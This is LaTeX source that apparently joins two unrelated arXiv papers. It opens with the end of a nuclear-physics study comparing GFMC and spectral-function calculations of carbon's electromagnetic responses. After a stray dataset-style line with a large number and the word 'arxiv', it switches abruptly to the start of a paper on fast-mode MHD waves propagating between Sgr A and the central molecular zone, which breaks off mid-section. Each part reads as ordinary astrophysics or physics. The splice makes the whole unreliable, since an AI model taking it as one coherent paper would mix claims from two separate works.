Note that $w_{p(n)}^{\mu\nu}$ can be directly related to the tensor describing electron scattering off a \textit{free} proton (neutron), carrying momentum ${\bf p}$, at four momentum transfer $\tilde{q}\equiv (\tilde{\omega},{\bf q})$.
The effect of nuclear binding is taken into account through the replacement
\begin{equation}
q\equiv (\omega,{\bf q})\rightarrow \tilde{q}\equiv (\tilde{\omega},{\bf q})\ ,
\end{equation}
reflecting the fact that a fraction $\delta\omega$ of the
energy transfer goes into excitation energy of the spectator system. Therefore, the elementary scattering process is described as if it took place in free space, but with energy transfer
$\tilde{\omega}= \omega-\delta\omega$.
Within the IA,
the non relativistic expression of the longitudinal response reads
\begin{align}
R_L&= \int dE d{\bf p}\ P({\bf p},E)\Big[ \frac{Z G^p_E(\tilde{Q}^2)+ (A-Z) G^n_E(\tilde{Q}^2)}{1+\tilde{Q}^2/(4 m^2)}\Big]\nonumber\\
&\times\delta \left[ \omega + M_A - E_R - E(|{\bf p+q}|) \right] \theta (|{\bf p+q}|- k_F)
\label{pauli}
\end{align}
where $E(|{\bf p+q}|)= m + |{\bf p+q}|^2/(2m)$ and $E_R= M_R+ {\bf p}^2/(2 M_R)$ are the energies of the knocked out nucleon and the recoiling system, whose mass is given by $M_R= M_A- m +E$, respectively.
Note that in the spectral function the state describing the initial nucleon in the interaction vertex is completely
antisymmetrized with respect to the other particles in the target nucleus. On the other hand, in the final state only the antisymmetrization of the spectator system is present, while according to the factorization scheme the
antisymmetrization of the struck nucleon with respect to the spectator particles is disregarded.
As a consequence, the nuclear initial and final states are not orthogonal to one another.
In Eq.~\eqref{pauli} Pauli's principle is accounted for by requiring the momentum of the knocked out nucleon to be larger than the nuclear
Fermi momentum $k_F = 211$ MeV, determined following the procedure described in Ref.~\cite{Ankowski2015}. While this prescription
is admittedly rather crude, being based on the local Fermi gas model of the nuclear ground state, it has to be kept in mind that the effect of
Pauli blocking rapidly decreases with increasing momentum transfer, and vanishes altogether at $|{\bf q}| \buildrel > \over {_{\sim}} 2k_F$.
Using Eq.~\eqref{j:trans}, we obtain the transverse response
\begin{align}
R_T&= \int dE d{\bf p}\ P({\bf p},E) \big[ Z r_T^p + (A-Z) r_T^n\big]\nonumber\\
&\times\delta\left[ \omega + M_A - E_R - E({\bf p+q})\right]\theta (|{\bf p+q}- {\bf k}_F) \ ,
\end{align}
where
\begin{align}
r_T^p= \Big[ -{G_E^p}^2(Q^2)\frac{{\bf p}_T^2 }{m^2}+ \frac{{G_M^p}^2(Q^2){\bf q}^2}{2 m^2}\Big]\ ,\nonumber\\
r_T^n= \Big[ -{G_E^n}^2(Q^2)\frac{{\bf p}_T^2 }{m^2}+ \frac{{G_M^n}^2(Q^2){\bf q}^2}{2 m^2}\Big]\ .
\end{align}
The relativistic form of the nuclear responses is written in terms of the one-body current
\begin{align}
j^\mu_i= \frac{(\epsilon_i+\tau \mu_i)}{(1+\tau)} \gamma^\mu + \frac{(\mu_i-\epsilon_i)}{(1+\tau)}\frac{i\sigma^{\mu\nu}q_\nu}{2m}
\end{align}
where $\tau= \tilde{Q}^2/(4 m^2)$ and $\epsilon_i,\ \mu_i$ are defined in Eq.\eqref{form:fact}.
In this case, the argument of the energy-conserving $\delta$-function, determining the integration limits of the phase-space integration,
has to be written using the relativistic expression of the kinetic energies of both the knocked out nucleon and the recoiling spectator system, {\em i.e.} setting $E(|{\bf p+q}|)=\sqrt{|{\bf p+q}|^2 + m^2}$ and $E_R= \sqrt{|{\bf p}|^2 + M_R^2}$.
The GFMC and SF approaches consistently account for NN correlations both in the nuclear ground state and among the (A-1) spectator particles. The continuum contribution to the SF is
in fact obtained from the same hamiltonian employed in the GFMC's imaginary time evolution. The main assumption implied in the factorization {\em ansatz} underlying the IA is that FSI between the struck particle and the spectator system, as well as orthogonality between the initial and final nuclear states, can be neglected in the limit of high momentum transfer. Because the nuclear response is only sensitive to FSI taking place within a distance $\sim 1/|{\bf q}|$ of the electromagnetic vertex, at high momentum transfer this assumption appears to be largely justified. However, FSI effects can be sizable at low momentum transfer, and their effect must be consistently taken into account \cite{Benhar2013}. In this work, we have followed the scheme developed by the authors of
Ref.~\cite{Ankowski2015}, which proved very effective in describing FSI in electron-carbon scattering in a broad kinematical range.
\begin{figure}[h!]
\includegraphics[scale=0.675]{300_rl_final}
\vspace*{-.1in}
\caption{Electromagnetic response of Carbon in the longitudinal channel at $|{\bf q}|= 300$ MeV. The shaded area shows the results of the GFMC calculation, with the associated uncertainty arising from the inversion of the Euclidean response. All the remaing curves have been obtained within the SF approach, including the effects of Pauli blocking and FSI.
The lines marked with dots and hollow squares correspond to non relativistic and fully relativistic calculation, respectively. Those marked with triangles and filled squares have
been obtained performing hybrid calculations: non relativistic current and relativistic phase space (triangles), or relativistic current and non relativistic phase space (filled squares).}
\label{300_rl}
\end{figure}
\begin{figure}[h!]
\includegraphics[scale=0.675]{380_rl_final}
\vspace*{-.1in}
\caption{ Same as Fig. \ref{300_rl} for $|{\bf q}|= 380$ MeV.}
\label{380_rl}
\end{figure}
\begin{figure}[h!]
\includegraphics[scale=0.675]{570_rl_final}
\vspace*{-.1in}
\caption{Same as Fig. \ref{300_rl} for $|{\bf q}|= 570$ MeV.}
\label{570_rl}
\end{figure}
\begin{figure}[h!]
\includegraphics[scale=0.675]{300_rt_final}
\vspace*{-.1in}
\caption{Electromagnetic response of Carbon in the transverse channel at $|{\bf q}|= 300$ MeV. The shaded area shows the results of the GFMC calculation, with the associated uncertainty arising from the inversion of the Euclidean response. All the remaing curves have been obtained within the SF approach, including the effects of Pauli blocking and FSI.
The lines marked with dots and hollow squares correspond to non relativistic and fully relativistic calculation, respectively, while the one marked with triangles has been obtained performing an hybrid calculation: relativistic current and non relativistic phase space.}
\label{300_rt}
\end{figure}
\begin{figure}[h!]
\includegraphics[scale=0.675]{380_rt_final}
\vspace*{-.1in}
\caption{Same as Fig. \ref{300_rt} for $|{\bf q}|= 380$ MeV.}
\label{380_rt}
\end{figure}
\begin{figure}[h!]
\includegraphics[scale=0.675]{570_rt_final}
\vspace*{-.1in}
\caption{Same as Fig. \ref{300_rt} for $|{\bf q}|= 570$ MeV.}
\label{570_rt}
\end{figure}
\section{Results}
\label{section:results}
In Figs. \ref{300_rl}, \ref{380_rl}, and \ref{570_rl} we show the results of the GFMC and SF calculations of the electromagnetic responses of Carbon in the longitudinal channel, for momentum transfer $|{\bf q}|= 300,\ 380$ and $570$ MeV.
Overall, the emerging pattern suggests that\textemdash once Pauli blocking and FSI are accounted for\textemdash the agreement between the two methods is quite good, provided the non relativistic expression for the current operators and the phase space are consistently employed.
The four different curves labelled SF correspond to the different prescriptions to include relativistic effects.
The lines marked with dots and hollow squares represent the non relativistic and fully relativistic results, respectively, while those marked with triangles and filled squares have been obtained
performing hybrid calculations, in which the non relativistic expressions have been only used either for the current or for the phase space.
It is apparent that at $|{\bf q}|= 300$ and $380$ MeV relativistic effects are small. There is little spread between the four SF curves, which are all very close to that
corresponding to the GFMC calculation.
At $|{\bf q}|= 570$ MeV, SF and GFMC still give very similar results provided the SF calculation is carried out using relativistic currents and non relativistic phase space.
On the other hand, the results of the fully relativistic calculation and those obtained using non relativistic currents and relativistic phase space clearly show that
in this kinematical setup relativistic effects\textemdash comprised in the energy conserving $\delta$-function\textemdash are sizable, and lead to a shift and an enhancement of the peak,
whose width is reduced.
In Figs. \ref{300_rt}, \ref{380_rt}, and \ref{570_rt} we show the electromagnetic response of Carbon in the transverse channel for the same three values of $|{\bf q}|$.
The agreement between the GFMC and the SF results is not as good as in the longitudinal case. Furthermore, the different behaviour of the curves corresponding to the
three SF calculations deserves some comments. As already pointed out in the discussion of the longitudinal responses, a comparison between the relativistic and the hybrid calculations
performed with the non relativistic phase space clearly shows that using relativistic kinetic energies in the argument of the energy-conserving $\delta$-function results in a shift and
an enhancement of the peak of the response. However, unlike the longitudinal one, the transverse response is strongly affected by relativistic effects arising from the treatment of the current operator.
This feature clearly manifests itself in the different shapes exhibited by the results of the non relativistic SF calculations and those of the hybrid calculations performed using relativistic currents and non relativistic kinetic energies.
\section{Conclusions}
\label{conclusions}
The electromagnetic response functions of carbon in the longitudinal and transverse channels have been evaluated within the GFMC and SF approaches at momentum tranfer $|{\bf q}| = 300, \ 380$ and $570$ MeV.
Because all calculations have been carried out using the same nuclear Hamiltonian and current operator, the resulting response functions can be can be meaningfully compared, to shed light on
the limits of applicability of both the IA, providing the basis of the SF formalism, and the non relativistic approximation inherent in the GFMC method.
Overall, we find that the GFMC results are in remarkably good agreement with those obtained from the SF approach using non relativistic kinetic energies and currents, provided corrections
arising from FSI and Pauli blocking are taken into account.
The emerging pattern strongly suggests that the factorization approximation can be safely used down to momentum transfer as low as $\sim 300$ MeV. This is the first important finding of
our study.
In the longitudinal channel relativistic effects are quite small at momentum transfer 300 and 380 MeV. At $|{\bf q}|~=~570$ MeV they become sizable, and arise mainly from the use of
relativistic kinetic energies in the argument of the energy-conserving $\delta$-function. The significant reduction of the width can be easily understood considering that its value, while
increasing linearly with $|{\bf q}|$ in the non relativistic case, becomes constant and independent of momentum transfer in the relativistic regime.
The interpretation of the results in the transverse channel is more complex. Within the factorization scheme, the main elements entering the definition of the nuclear response are the nuclear amplitudes and the matrix elements of the nuclear current operators. Hence, the accuracy of the results obtained from this approach depends
on the treatment of these two quantities.
In particular, the degree of complexity of the interaction vertex determines the level of accuracy required in the calculation of the nuclear spectral function.
As an example, consider that in the transverse channel
the matrix element of the current contains terms
linear in the momentum of the struck particle. However, since
the spectral function of Ref.~\cite{LDA}, employed to carry out our calculations, is spherically symmetric, they do not contribute to the responses.
A more accurate treatment of the carbon ground state, taking into account its deformation, would allow to include the contributions arising from these terms.
Contrary to what is observed in the longitudinal channel, in the transverse responses, relativistic effects are to be ascribed not only to the arguments of the energy-conserving $\delta$-function, but also to the treatment of the current operator. The fact
that for large values of the momentum transfer relativistic corrections to the transverse one-body current are important suggests that improving the non relativistic
expansion with the inclusion of terms
$\mathcal{O}[(|{\bf q}|/m)^2]$ may be needed obtain a more accurate prediction of the response.
The analysis reported in this paper provides valuable and novel information, much needed to reach a better understanding of the description of the nuclear cross section
obtained from different {\em ab initio} approaches. Our study obviously needs to be completed including the contributions of two-nucleon currents, which are
known to be important in the transverse channel. Work towards the achievement of this goal is underway.
\begin{acknowledgments}
Many illuminating discussions and a critical reading of the manuscript by Rocco Schiavilla are gratefully acknowledged. NR thanks the Theory Group at TRIUMF for its hospitality and for partial support during the completion of this work. The work of NR has been partially supported by the Spanish Ministerio de
Economia y Competitividad and European FEDER funds under the contracts FIS2014-51948-C2-1-P. The work of OB and NR was supported by INFN under grant MANYBODY. The work of AL was supported by the U.S. Department of Energy, Office of Science, Office of Nuclear Physics, under contract DE-AC02-06CH11357.
\end{acknowledgments}
|
1,477,468,749,996 | arxiv | \section{Introduction}
AGN (active galactic nuclei)-starburst (SB) connection/link has been suggested based on correlation analyses between the luminosity of galactic nuclei and that of circum-nuclear warm dust heated by active star formation (SF)
\cite{Smith+1998,Wild+2010,Fabian2012}.
Large amount of energy released at AGN produces various types of energetic outflows such as jets, bubbles and winds expanding into the galactic disc and halo
\cite{King+2015},
which interact with the circum-nuclear disc (CND) and torus as well as gas clouds, and enhance star formation (SF) and starburst.
This is categorized as the AGN-to-SB feedback, which is the first subject of this paper.
On the other hand, the surrounding gas disc plays a role in fueling the gas to the nucleus by overcoming the problem of the refusing force due to the conservation of angular-momentum by
(i) bar-dynamical
\cite{Shlosman+1989},
(ii) magnetic braking
\cite{Krolik+1990},
and
(iii) radiation drag
\cite{Umemura+1997,Thompson+2005}
accretion mechanisms.
These may be categorized as disk-to-AGN fueling.
However, feedback of (iv) star formation and/or starburst itself to the AGN has not been thoroughly investigated, which is the second subject of this paper.
In our Galactic Centre, various expanding and out-flowing phenomena have been observed, indicating that the Milky Way has experienced AGN phases in the past with various energies and time scales.
Expanding phenomena are evidenced, for example, by multiple thermal shells of radii $\sim 10$ pc around Sgr A with required energy of $\sim 10^{51}$ ergs in the last $\sim 10^5$ y
\cite{Sofue2003},
200-pc expanding molecular cylinder of $\sim 10^{54}$ ergs
\cite{Kaifu+1972,Scoville1972,Sofue2017},
GC radio lobe of $\sim 200$ pc at $\sim 10^{54}$ ergs
\cite{Sofue+1984,Heywood+2019},
and giant shells/bubbles in the halo in radio, X-rays and $\gamma$-rays with radii from several to $\sim 10$ kpc with $\sim 10^{55}$ ergs in the last $10^6$ to $10^7$ y
\cite{Sofue1980,Sofue2000,Sofue+2016,Su+2010,Crocker2012,Kataoka+2018}.
Numerous non-thermal filaments in radio continuum emission
\cite{YZ+2004,LaRosa+2005,Lang+1999} may also indicate continuous magneto-hydrodynamic (MHD) waves excited by the activity in Sgr A
\cite{Sofue2020a}.
The Galactic nucleus is surrounded by the central molecular zone (CMZ) embedding active star forming regions such as Sgr B and C
\cite{Morris+1996,Oka+1998,Oka+2012,Tsuboi+2015}.
High excess of the number of supernova remnants (SNR) in the GC direction indicates a high rate of SF in the CMZ
\cite{Gray1994}.
Star formation in the CMZ has been discussed often in relation to the non-linear response of the rotating disc gas to the barred potential
\cite{Krumholz+2015} and
to cloud-cloud collisions
\cite{Hasegawa+1994,Tsuboi+2015}.
Feedback of the nuclear activity
\cite{Zu2015,Zu+2013,Zu+2017,Hsieh+2016}
would also trigger the SF in CMZ.
The SF activity would in turn disturb the surrounding medium by supernova explosions and stellar winds
\cite{Martinpintado+1999}.
Radio continuum blobs and filaments as mixture of thermal and non-thermal emissions, composing a radio-bright zone (RBZ), suggests high-energy feedback from the SF regions to the CMZ and surrounding medium
\cite{Zhao+2016,Yusef+2019}.
Thus produced disturbances will propagate through the RBZ, and further reach and affect the nuclear region around Sgr A.
However, such feedback from the SF regions to Sgr A seems to be not thoroughly investigated.
In this paper, we investigate the propagation of MHD waves in the Galactic Center by solving the Eikonal equations for low amplitude fast-mode MHD waves in magnetized medium by the method described in section \ref{secmethod}.
In section \ref{secsgrA} MHD disturbances induced by the activity in Sgr A are shown to converge on the CMZ and molecular clouds therein to compress and trigger SF, which may hint to insight into an efficient, and hence minimal energetic feedback in the AGN-SB connection.
In section \ref{secsgrB} we trace the waves emitted from the SF region, and show that they converge onto the nucleus at high efficiency, which will trigger AGN activity in Sgr A. In section \ref{secdiscussion} we discuss the implication of the result.
Throughout the paper, the term "Sgr A" will be used to express the complex around the Galactic nucleus including Sgr A$^*$ (AGN of the Milky Way) and associated molecular and radio sources.
Similarly 'Sgr B' expresses the SF region and molecular complex associated with the radio sources Sgr B1 and B2, which is embedded in the CMZ and is supposed to be a starburst site.
\section{Method}
\label{secmethod}
\subsection{Basic equations}
Disturbances excited by an explosive event in the interstellar medium propagate as a spherical shock wave in the initial phase. In the fully expanded phase, they propagate as sound, \Alf, and fast-mode MHD waves. Among the modes, sound wave is much slower than the other two modes in the usual ISM condition. The \Alf wave transports energy along the field lines, while it does not compress the field, so that it is not effective in compressing the gas to trigger star formation. The fast-mode MHD wave (hereafter, MHD wave) propagates across the magnetic field lines at \Alf velocity, and compresses the local field as well as the gas, which would act to trigger star formation
\cite{Sofue2020a}.
The basic equations of motion, or the Eikonal equations, to trace the fast-mode MHD waves were obtained in order to study the Morton waves in the solar corona
\red{under the condition that the \Alf velocity is sufficiently higher than the sound velocity, or in the so-called low $\beta$ condition.}
\cite{Uchida1970,Uchida1974}.
The method has been applied to MHD wave propagation in the Galactic center, supernova remnants, and star forming regions
\cite{Sofue1978,Sofue1980,Sofue2020a,Sofue2020b}.
Given the distribution of \Alf velocity and initial directions of the wave vectors, the equations can be numerically integrated to trace the ray path as a function of time.
The equations are shown in the Appendix as reproduced from the above papers.
Besides galactic disc at rest, we also examined a case that the disc is rotating at a constant rotation velocity.
Thereby, the azimuth angle moment of each wave packet, $p_\phi$ in the Eikonal equations, was modified by adding the angular velocity caused by the rotation around the $z$ axis.
Numerical integration of the differential equations was obtained by applying the first order Runge-Kutta-Gill (RKG) method with sufficiently small time steps.
The validity was confirmed by checking some results by applying the second order RKG method as well as by changing the time steps.
Because of the simple functional forms of the adopted \Alf velocity distributions having no singularity, the 1st order method was sufficiently accurate and faster than the 2nd order method.
While the computations were performed in the spherical coordinates, the results will be presented in the Cartesian coordinates $(x,y,z)$, where $x$ and $y$ represent the distance in the galactic plane, $z$ is the axis perpendicular to the disc with $(0,0,0)$ denoting the nucleus, and $\varpi=(x^2+y^2)^{1/2}$ is the distance from $z$ axis.
\subsection{Gas distribution}
Extensive observations in molecular line, radio and X-ray observations have revealed that the gas density distribution is expressed by a disk-like CMZ surrounded by a molecular ring
\cite{Morris+1996,Oka+1998,Sofue1995,Sofue2017},
warm gas disk
\cite{OkaTake+2019},
and extended hot gas
\cite{Koyama2018}.
We represent the gas distribution by superposition of several components:
\be
\rho=\Sigma_i \rho_i,
\ee
where individual components are given as follows:
The main disc is represented by
\begin{equation}
\rho_{\rm disk}= \rho_{\rm disk,0}
\sech \left(\frac{z}{h}\right)
e^{-(\varpi/\varpi_{\rm disk})^2}.
\end{equation}
We adopt $\rho_{\rm 0,disk}=1.0$ and $\varpi_{\rm disk}\sim 10$ in the scale units as listed in table \ref{tab_unit} (described later).
A molecular ring representing the main body of CMZ is represented by
\be
\rho_{\rm ring}= \rho_{\rm 0,ring}
e^{-((\varpi-\varpi_{\rm ring})^2+z^2)/w_{\rm ring}^2},
\ee
where $\varpi_{\rm ring}=5$ and half ring width of $w_{\rm ring}\sim0.5-1$.
Gas clouds are assumed to have Gaussian density distribution as
\be
\rho_{\rm cloud,i}=\rho_{0, i}
e^{-(s_i/a_i)^2},
\ee
where $s_i^2=(x-x_i)^2+(y-y_i)^2+(z-z_i)^2$, $\rho_{\rm cloud, i, 0}$ and $a_i$ arei centre density and scale radius of the $i-$th cloud or gaseous core centered on $(x_i,y_i,z_i)$.
The whole system is assumed to be embedded in a halo of
\be
\rho_{\rm halo} =0.01.
\ee
As a nominal set, we take $\rho_{\rm coud, i}=100$, $a_i=1$, $\rho_{\rm disk, 0}=1$, $h=1$.
\subsection{Magnetic fields}
Non-thermal radio emission in the GC is more extended than the molecular gas disc and clouds, indicating that the magnetic pressure distribution is smoother than the gas distribution and the field strength is on the order of $0.1-1$ mG.
There may be two major components.
One is the large-scale vertical/poloidal field penetrating the galactic disc with roughly constant strength at $\sim 0.1-1$ mG
\cite{YZ+1987,Tsuboi+1986,Sofue+1987},
and the other is a ring field of radius $\sim 100-200$ pc, whose strength is $\sim 0.01-0.1$ mG
\cite{Nishiyama+2010}.
\red{The strong magnetic field in the GC of 0.1 to 1 mG may be explained by a primordial-origin model, in which the primordial magnetic field was gathered in the GC during the the proto-Galactic accretion to form a strong vertical field \cite{Sofue+2010}.
The field strength is amplified to a value at which the magnetic energy density balances the kinetic energy density of the disc gas in galactic rotation at $\sim 200$ \kms in the deep gravitational potential of the GC. }
In the galactic disc of solar vicinity, Zeeman effect observations in local molecular clouds indicate that the magnetic strength is about constant at several $\mu$G through molecular clouds with density less than $\sim 10^4$ H cm$^{-2}$ except for high-density cores \cite{Crutcher+2010}, and the \Alf velocity decreases with the gas density \cite{Sofue2020b}.
We here also assume such a general property of magnetized clouds in the GC.
In our simulation, we first examine simple cases assuming a constant magnetic field $B=B_{\rm halo}=1$ in order to show typical behaviors of wave propagation.
Then, we adopt a more realistic magnetic fields, where the fields are loosely coupled with the gas distribution in such that the magnetic pressure varies with with scale radii being twice those for the gas distribution, namely
\be
B_{\rm disk}^2= B_{\rm disk,0}^2
\sech \left(\frac{z}{2h}\right)
e^{-(\varpi/(2\varpi_{\rm disk}))^2}
\ee
in the disc, and
\begin{equation}
B_i^2=B_{i,0}^2
e^{-(s_i/(2a_i))^2}
\end{equation}
in the ring and clouds, where $s_i$ is the distance from the center of $i$-th cloud or ring's azimuthal axis.
We further examine a case that the disc is penetrated by a vertical cylinder of magnetic flux.
In our recent paper
\cite{Sofue2020b} we modeled the vertical radio continuum threads
\cite{Heywood+2019} as remnants of nuclear activity.
Thereby, we assumed a large-scale vertical magnetic cylinder penetrating the disc following the primordial origin model of Galactic magnetic field
\cite{Sofue+2010}.
It was shown that the MHD waves are confined inside the magnetic cylinder, forming vertically stretched filaments, which well reproduced the observed radio threads.
The magentic cylinder is represented by
\be
B_{\rm cyl}=5 \ e^{-(\varpi-\varpi_{\rm cyl})^2/w_{\rm cyl}^2},
\ee
where $\varpi_{\rm cyl}=3$ and $w_{\rm cyl}=1$.
\subsection{\Alf velocity}
The \Alf velocity is given by
\be
\Va=\sqrt{\Sigma_i B_i^2/{4\pi \rho}},
\ee
where $i$ represents each of components of the interstellar medium in the GC.
\red{It is estimated to be
$\Va \sim 70-700$ \kms in the GC disc with $B\sim 0.1-1$ mG and $\rho\sim 10$ H cm$^{-3}$.
On the other hand, the sound velocity in the disc is $\cs \sim 1$ \kms for HI gas of temperature of $T\sim 100$ K and $\sim 0.3$ \kms for molecular gas of $\sim 20$ K.
In the molecular ring with $B\sim 0.1$ mG, $\rho\sim 100$ H cm$^{-3}$ and $T\sim 20$ K, we have $\Va \sim 20$ \kms and $\cs \sim 0.3$.
In dense molecular clouds with $B\sim 0.1$ mG, $\rho\sim 10^4$ H cm$^{-3}$ and 10 K, we have $\Va \sim 2$ \kms and $\cs \sim 0.3$ \kms.
The \Alf velocity in the halo increases rapidly above/below the gaseous disc, whose scale height is much smaller than that of magnetic field, so that $\Va \gg \sim 100$ \kms, the sound velocity of the X-ray halo at $\sim 10^6$ K.
Thus, we may safely assume that the \Alf velocity is sufficiently faster than the sound velocity in the circumstances under consideration, which was the condition for the Eikonal method used in this paper.
}
Besides such strong global fields, we may also consider other possible models as follows.
If the magnetic field and interstellar gas are in a local energy-density (pressure) equipartition, $B^2 \propto \rho \sigma_v^2$, the \Alf velocity is nearly equal to the turbulent velocity $\sigma_v$ of the gas, which is usually almost constant at $\sim 5- 10$ \kms.
In such a case of constant \Alf velocity, the MHD waves propagate rather straightly without suffering from deflection.
On the other hand, if the magnetic field is frozen into the gas, the magnetic flux is proportional to $\rho^{2/3}$, or $\Va \propto \rho^{1/6}$.
This means that the \Alf velocity increases toward the cloud center, and the cloud works to diverge the waves rather than to converge.
Such a case is indeed observed in high-density molecular cores with density $\sim 10^5$ H cm$^{-3}$ \cite{Crutcher+2010}.
\red{These cases may apply to individual clouds, not largely changing the global wave propagation in the GC, and will be considered as a cause for local fluctuations as discussed in section \ref{clumpiness}.}
\begin{table}
\begin{center}
\caption{Units used in the calculation}
\label{tab_unit}
\begin{tabular}{ll}
\hline
Density, $\rhou=\rho_{\rm disk, 0}$ & 100 H cm$^{-3}$ \\
Magnetic field, $\Bu$ & 1 mG \\
Velocity, $\Vu =\Bu/\sqrt{4\pi \rhou}$ & 220 \kms \\
Length $A$& 40 pc\\
Time, $\tu=A/\Vu$ & 0.18 My \\
\hline
\end{tabular}
\end{center}
\end{table}
\subsection{Units and normalization}
The real quantities are obtained by multiplying the units to the non-dimensional quantities in the equations, where the length by $A$, time by $\tu$, and velocity by $\Vu =\Bu/\sqrt{4\pi \rhou}=219$ \kms as listed in table \ref{tab_unit}, following our recent analysis of the GC threads
\cite{Sofue2020b}.
Typical \Alf velocity is $\Va \sim 20$ \kms in molecular clouds and $\sim 200$ \kms in the galactic disc.
\subsection{Dissipation rate}
The dissipation rate $\gamma$ of a small-amplitude MHD wave defined through amplitude $\propto \exp(-\gamma L)$
\cite{Landau+1960} is expressed as
\be
\gamma=\frac{\omega^2}{2V^3} \(\frac{\nu}{\rho} + \frac{c^2}{4\pi\sigma_e}\),
\ee
where $\omega$ is the frequency, $\nu\sim 10^{-4}$ g cm s$^{-1}$ is the viscosity of hydrogen gas, $\sigma_e$ the electric conductivity, $c$ the light velocity, and $L$ is the distance along the ray path. The first term is due to dissipation by viscous energy loss, and the second term due to Ohmic loss, which is small enough compared to the first.
Then, the dissipation length $L$ is estimated by
\begin{eqnarray}
\(\frac{L}{{\rm kpc}}\)=\gamma^{-1} \sim 0.6
\(\frac{B}{{\rm \mu G}}\)
\(\frac{\rho}{ {\rm H \ cm^{-3}} } \)^{1/2}\nonumber \\
\times \(\frac{\nu}{{\rm 10^{-4} g \ cm \ s^{-1}}}\)^{-1}
\(\frac{\lambda}{{\rm pc}}\),
\label{dissipation}
\end{eqnarray}
which amounts to several kpc in the region under consideration, so that the dissipation is negligible in the GC region.
\subsection{Assumptions and limitation of the method}
The method here assumes that the amplitude of the MHD waves is small enough and the Eikonal equations are derived using the linear wave approximation.
Hence, non-linear compression of the interstellar medium and the real density and magnetic field in the waves cannot be calculated in this paper.
Therefore, we here discuss only the possibility of mechanisms to compress the gas and to enhance or trigger the star formation and nuclear activity from the relative amplification of wave amplitude due to the geometrical effect of spherical implosion of the wave front onto the focal point.
Although the direction of the propagation does not depend on the magnetic field direction, the compression by the fast-mode MHD wave occurs in the direction perpendicular to the magnetic lines of force, with the amplitude proportional to \sin $i$, where $i$ is the angle between the direction of the propagation and magnetic field.
This implies that the gas compression is not effective when the wave direction is parallel to the field ($i \sim 0$), whereas it attains maximum at perpendicular propagation ($\sim 90\deg$).
In the GC, the global field direction is observed to be perpendicular to the galactic plane in the inter-cloud and out-of plane regions \cite{Heywood+2019}, while it is nearly parallel to the molecular ring occupying most of the CMZ \cite{Nishiyama+2010}.
Therefore, the waves expanding from Sgr A toward the molecular ring and those from the CMZ toward the nucleus propagate almost perpendicularly to the global magnetic fields at maximum or high compression efficiency.
Magnetic structures in the molecular clouds and the nuclear regions are not well observed, so that we here assume that they are random.
In such a case, the field directions can be assumed to be statistically oblique at the most expected angle of $i\sim 60\deg$ (angle dividing a sphere into two equal areas about the polar axis), so that the compression efficiency is $\sim {\rm sin} \ 60\deg = 0.87$ as a mean.
Thus, we may here consider that the fast-mode MHD waves propagate at high compression efficiency in almost everywhere in the GC for the first approximation.
\section{Sgr A to B: AGN to CMZ}
\label{secsgrA}
\begin{figure
\begin{center}
\includegraphics[width=7cm]{fig1.eps}
\end{center}
\caption{Ray paths of MHD waves from the galactic centre through a sech disc in the $(x,z)$ plane.}
\label{rays_disk}
\end{figure}
\begin{figure*
\begin{center}
\includegraphics[width=16cm]{fig2.eps}
\end{center}
\caption{(Left) Density distribution in the $(x,z)$ plane. Dark: log $V/V_{\rm unit}=-1$, white: 1. (Middle) MHD wave ray paths. (Right) Enlargement near the focus (ring).}
\label{Valf}
\label{rays_ring}
\end{figure*}
\begin{figure}
\begin{center}
\includegraphics[width=7cm]{fig3.eps}
\end{center}
\caption{MHD wave amplitude.}
\label{flux}
\end{figure
\begin{figure*}
\begin{center}
{\bf [Sgr A $\Rightarrow$ Disc and ring]} \\
\includegraphics[width=13cm]{fig4.eps}
\end{center}
\caption{(a) MHD waves from the nucleus propagating through the sech h gas disc with constant magnetic field. (b) Same converging on a gaseous ring with $r=5$ and width $r_{\rm ring}=0.5$ with parameters as
$\rho_{\rm disk}=1/\cosh(z/1.)$;
$\rho_{\rm ring}=100 \exp(-((r-r_{\rm ring})^2+z^2)/r_{\rm ring}^2)$;
$rho=\rho_{\rm disk}+\rho_{\rm ring}$.
Each dot represents MHD wave packet whose propagation is traced by solving the Eikonal equations. Initially, about a thousand packets are put at random on a small sphere at the center with outward radial vectors.
The ensemble of packets are plotted at a constant time interval, here every 2 units of time at $t=2$, 4, 6, ... .
The front expands spherically in the initial phase, elongated in the direction perpendicular to the disc, and reflected/refracted by the disc to focus on a focal ring (a).
If there is a molecular ring of radius $\varpi=5$, the waves focus more efficiently on the ring (b).
}
\label{p-gc-ring}
\end{figure*}
\begin{figure*}
\begin{center}
{\bf [Sgr A $\Rightarrow$ Sgr B, etc.]}\\
\includegraphics[width=12cm]{fig5.eps}
\end{center}
\caption{(a) MHD waves from the nucleus converging onto three clouds projected on the xy plane.
(b) Same, but projected on a plane perpendicular to the line of sight at 30$\deg$ from the plane. }
\label{p-AtoB}
\begin{center}
{\bf [Sgr A $\Rightarrow$ Sgr B, etc. in rotation]}\\
\includegraphics[width=12cm]{fig6.eps}
\end{center}
\caption{Same as figure \ref{p-AtoB}, but the disc is rotating as figure \ref{Vrot}. }
\label{p-AtoB-rot}
\end{figure*
\begin{figure
\begin{center}
\includegraphics[width=8cm]{fig7.eps}
\end{center}
\caption{Rotation velocity of the disc and clouds.}
\label{Vrot}
\end{figure
\begin{figure*
\begin{center}
{\bf [Sgr A $\Rightarrow$ Sgr B, etc. in rotation through vertical magnetic cylinder]}\\
\includegraphics[width=16cm]{fig8.eps}
\end{center}
\caption{Same as figure \ref{p-AtoB-rot}, but a vertical magnetic cylinder of radius $\varpi_{\rm cyl}=3$ is present. MHD waves emitted at Sgr A are reflected and trapped inside the magnetic cylinder, while a significant fraction penetrates through it and converges onto the molecular clouds such as Sgr B. The right panel enlarges the central region to show that the reflected waves are converging back to Sgr A, indicating a self-feedback. Note a vacant area in the magnetic cylinder, from where the waves are rejected.}
\label{cylMag-AB}
\end{figure*
\subsection{Propagation through the disc}
We examine the effect of disturbances produced by explosive activity in the nucleus (Sgr A), which propagate and converge onto the CMZ and molecular clouds.
We first present a simple case of propagation through a plane-parallel layer with sech-type density profile, where the gas density has the form of
\be
\rho_{\rm disk}=\sech (z/h),
\ee
with $h=1$.
Figure \ref{rays_disk} shows the calculated result for the ray paths in the $(x,z)$ plane.
The MHD wave front expand spherically in the initial phase, and are reflected and refracted by the disc due to the rapid increase of \Alf velocity with the height.
The waves are then converged onto a circle in the plane (ring) with radius $\varpi \sim 4.4 h$.
After focusing, the waves further propagate outward, and focus again at $r\sim 9h$, making the second focal ring.
By such repetitive reflection and focusing, the waves are confined within the disc at high efficiency, so that the released energy is transformed outward, repeating circular and periodic convergence on the focal rings every $\sim 4.4h$ in radial interval.
\subsection{Convergence onto gaseous ring}
